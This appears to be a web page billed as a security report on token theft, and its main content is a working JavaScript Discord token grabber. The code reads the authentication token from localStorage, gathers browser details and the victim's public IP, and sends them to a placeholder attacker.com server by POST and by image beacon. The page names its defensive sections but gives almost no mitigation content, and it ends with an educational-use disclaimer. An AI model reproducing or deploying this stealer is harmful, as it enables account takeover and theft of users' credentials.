A comprehensive analysis of token-based attacks/cookie-logging, exploitation techniques, and advanced mitigation strategies for modern application security.
The technical process behind token theft and account compromise.
// Basic token grabber implementation
function stealDiscordToken() {
// Extract token from localStorage
const token = localStorage.getItem('token');
// Gather additional system information
const systemInfo = {
userAgent: navigator.userAgent,
platform: navigator.platform,
language: navigator.language,
screenResolution: `${screen.width}x${screen.height}`,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
};
// Get public IP address
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(ipData => {
const stolenData = {
token: token,
systemInfo: systemInfo,
ipAddress: ipData.ip,
timestamp: new Date().toISOString()
};
// Exfiltrate to attacker server
sendToAttacker(stolenData);
});
}
function sendToAttacker(data) {
// Multiple exfiltration methods
const methods = [
() => fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
}),
() => {
const img = new Image();
img.src = `https://attacker.com/beacon?data=${btoa(JSON.stringify(data))}`;
}
];
// Try all methods for reliability
methods.forEach(method => {
try { method(); } catch(e) {}
});
}
The primary methods attackers use to steal authentication tokens.
Malicious JavaScript injected into web pages through unvalidated user input, ads, or third-party widgets.
Trojanized applications that scan for and exfiltrate browser data, including authentication tokens.
Social engineering attacks that trick users into authenticating on fake websites or running malicious code.
Comprehensive strategies to protect against token theft.
Research methodology and ethical considerations.
This security report is based on extensive research into modern web application vulnerabilities, with a focus on token-based authentication systems. The information presented is intended for educational and defensive security purposes only.
All research conducted for this report follows ethical security research guidelines. No unauthorized testing was performed, and all examples are either theoretical or based on publicly disclosed information.
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